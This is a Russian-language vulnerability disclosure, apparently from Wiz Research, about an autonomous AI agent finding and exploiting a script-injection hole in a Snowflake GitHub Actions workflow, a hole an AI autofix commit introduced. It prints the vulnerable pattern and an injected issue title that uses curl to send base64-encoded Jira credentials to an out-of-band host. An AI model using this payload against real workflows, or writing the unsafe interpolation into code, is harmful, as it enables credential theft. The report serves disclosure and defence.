В рамках непрерывного исследования безопасности, проводимого через программу раскрытия уязвимостей Snowflake на HackerOne, автономный ИИ-инструмент Wiz Research под названием «Red Agent» обнаружил критическую уязвимость в GitHub Actions workflow одного из публичных репозиториев Snowflake.
Инцидент показывает быстро формирующуюся реальность разработки ПО: как ИИ-ассистенты по написанию кода могут непреднамеренно вносить уязвимости внедрения команд в workflow, и как автоматизированные ИИ-агенты способны стремительно находить их в реальных условиях.
После ответственного раскрытия информации 23 июня 2026 года со стороны Wiz компания Snowflake устранила уязвимость в тот же день, произвела ротацию скомпрометированных учётных данных и с помощью подробных журналов аудита подтвердила, что Wiz была единственным действующим лицом в течение всего окна экспозиции. Wiz также подтвердила, что все данные, полученные в ходе proof-of-concept тестирования, были надёжно удалены.
Краткое содержание
Wiz Red Agent обнаружил уязвимость script injection в репозитории snowflakedb/snowflake-connector-net. Проблема позволяла неаутентифицированному пользователю выполнять произвольные команды в раннере GitHub Actions, открыв issue со специально сформированным заголовком.
Уязвимость была внесена 18 июня 2026 года — всего за пять дней до обнаружения — коммитом, соавтором которого выступил Copilot Autofix powered by AI (PR #1218). ИИ-ассистент удалил существующий в репозитории санитизированный паттерн обработки входных данных и заменил его прямым раскрытием строки в shell-скрипте.
Разбор инцидента
Обнаружение
Модуль сканирования CI/CD Wiz Red Agent просканировал GitHub-организацию Snowflake и пометил workflow jira_issue.yml в репозитории snowflakedb/snowflake-connector-net как уязвимый к внедрению скриптов через недоверенный ввод в блоках run:.
Изменение, внесённое ИИ-ассистентом (GitHub Copilot)
- env:
- ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
+ run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)
Workflow запускался по событию issues: opened — то есть любой пользователь GitHub мог инициировать его, просто открыв issue — и подставлял контролируемый атакующим заголовок issue напрямую в shell-скрипт:
run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")
Экранирование через sed выполняется уже после подстановки шаблона GitHub, поэтому одинарная кавычка в заголовке позволяет выйти за пределы echo '...' и выполнить произвольную команду.
Уязвимый паттерн был внесён всего несколькими днями ранее, 18 июня 2026 года, коммитом 4a1b8ce (PR #1218: «SNOW-2069227: Update jira workflows») — соавтором которого выступил Copilot Autofix powered by AI.
Коммит удалил существующий безопасный паттерн репозитория, который передавал заголовок issue через переменную env: и формировал JSON-payload с помощью jq. Вместо этого использовалась прямая подстановка ${{ github.event.issue.title }}, показанная выше. Иными словами, коммит с ИИ-«автофиксом» сам создал вектор внедрения.
Открытые «ворота безопасности»
В workflow присутствовало условие if:, которое выглядело как защитная мера:
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')
Однако при событиях issues значение github.event.pull_request всегда равно null.
Таким образом, условие сводится к сравнению null != 'whitesource-for-github-com[bot]', которое всегда истинно, и любой пользователь GitHub проходит через эти «ворота».
Эксплуатация
Исследователи сформировали заголовок issue, который после подстановки шаблона выходит за пределы строки echo и передаёт учётные данные Jira через внеполосный (out-of-band) callback.
Примечательно: когда модуль CI/CD агента Red Agent впервые попытался выполнить эксфильтрацию с помощью стандартного символа комментария (#), раннер вернул синтаксическую ошибку bash, поскольку комментарий «съел» закрывающую скобку конструкции TITLE=$(...). Вместо того чтобы остановиться или завершиться с ошибкой, Red Agent:
автономно проанализировал синтаксическую ошибку выполнения;
скорректировал payload, использовав
; echo 'для корректного закрытия shell-блока; иуспешно получил внеполосный callback.
' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '
Через несколько секунд слушатель получил callback от раннера GitHub Actions (Azure IP 20.106.182.197), содержащий закодированные в base64 учётные данные.
Примечание: первая попытка использовала # для комментирования остальной части строки, что вызвало неожиданную ошибку bash «EOF», поскольку символ также «съел» закрывающую скобку ) конструкции TITLE=$(...). Решением стало использование ; echo ' для корректного закрытия shell-синтаксиса.
Похищенный токен аутентифицировался как qa@snowflake.net в snowflakecomputing.atlassian.net, предоставляя доступ на чтение к проектам инженерной команды, отдела compliance по безопасности и трекингу bug bounty Snowflake.
Устранение и криминалистическая проверка
Патч в тот же день: Snowflake исправила workflow 23 июня 2026 года (коммит 1dc7766, PR #1402), полностью восстановив безопасный паттерн с переменной
env:и парсингом черезjq --arg.Отзыв учётных данных: Токен Jira, о котором идёт речь, был отозван и заменён.
Криминалистическая проверка: Всесторонний анализ журналов аудита подтвердил, что ни одна внешняя третья сторона не обращалась к эндпоинту в течение пятидневного окна экспозиции. Все аномальные запросы точно совпали с тестовыми IP-адресами Wiz.
Основные выводы
Генерация кода ИИ требует строгого контроля: инструменты генерации кода на основе ИИ предсказывают код на основе вероятностных паттернов, что может непреднамеренно возвращать устаревшие или небезопасные shell-конструкции. PR, созданные ИИ, должны проходить тот же статический анализ и проверку безопасности, что и код, написанный человеком.
Сокращающееся окно обнаружения: уязвимость существовала всего пять дней, прежде чем автоматизированный агент обнаружил и подтвердил её. Службам безопасности необходимо адаптироваться к реальности, в которой автоматизированное обнаружение происходит за часы, что требует быстрых циклов патчинга и краткоживущих учётных данных.
Предотвращение регрессий безопасности от ИИ: автоматизированные ИИ-ассистенты часто не обладают историческим контекстом относительно того, почему были выбраны те или иные паттерны кода. В данном инциденте автоматизированный PR удалил безопасный паттерн
env:+ парсинг черезjq, который был явно внедрён для предотвращения shell injection. Команды безопасности должны внедрять защитные механизмы (guardrails), блокирующие замену ИИ-агентами структурированных парсеров данных на прямую подстановку строк.
Хронология раскрытия информации
18 июня 2026 — паттерн script injection внесён в
jira_issue.ymlкоммитом4a1b8ce(PR #1218), соавтором которого выступилCopilot Autofix powered by AI23 июня 2026 — Wiz обнаружила, эксплуатировала и сообщила об уязвимости Snowflake через HackerOne (отчёт #3819931)
23 июня 2026 — уведомление в Slack отправлено команде безопасности Snowflake
23 июня 2026 (в тот же день) — Snowflake исправляет уязвимый workflow (коммит 1dc7766, PR #1402), восстанавливая безопасный паттерн
env:+jq --arg.24 июня 2026 — токен Jira заменён
25 июля 2026 — крайний срок публичного раскрытия (30 дней после устранения 25 июня, согласно политике раскрытия информации Snowflake)
Ответ Snowflake
Snowflake ценит ответственный подход Wiz к раскрытию информации и сотрудничеству в рамках нашей программы раскрытия уязвимостей и bug bounty, HackerOne. Wiz Research сообщила об уязвимости безопасности в одном из публичных GitHub-репозиториев Snowflake. Уведомление было получено 23 июня 2026 года и незамедлительно расследовано и устранено; наше расследование не выявило доказательств несанкционированного доступа. Защита наших систем остаётся главным приоритетом, и мы продолжаем работать над постоянным укреплением практик разработки ПО и безопасности. Мы работаем совместно с Wiz, чтобы поделиться этим опытом с более широкой индустрией и содействовать повсеместному внедрению лучших практик безопасности.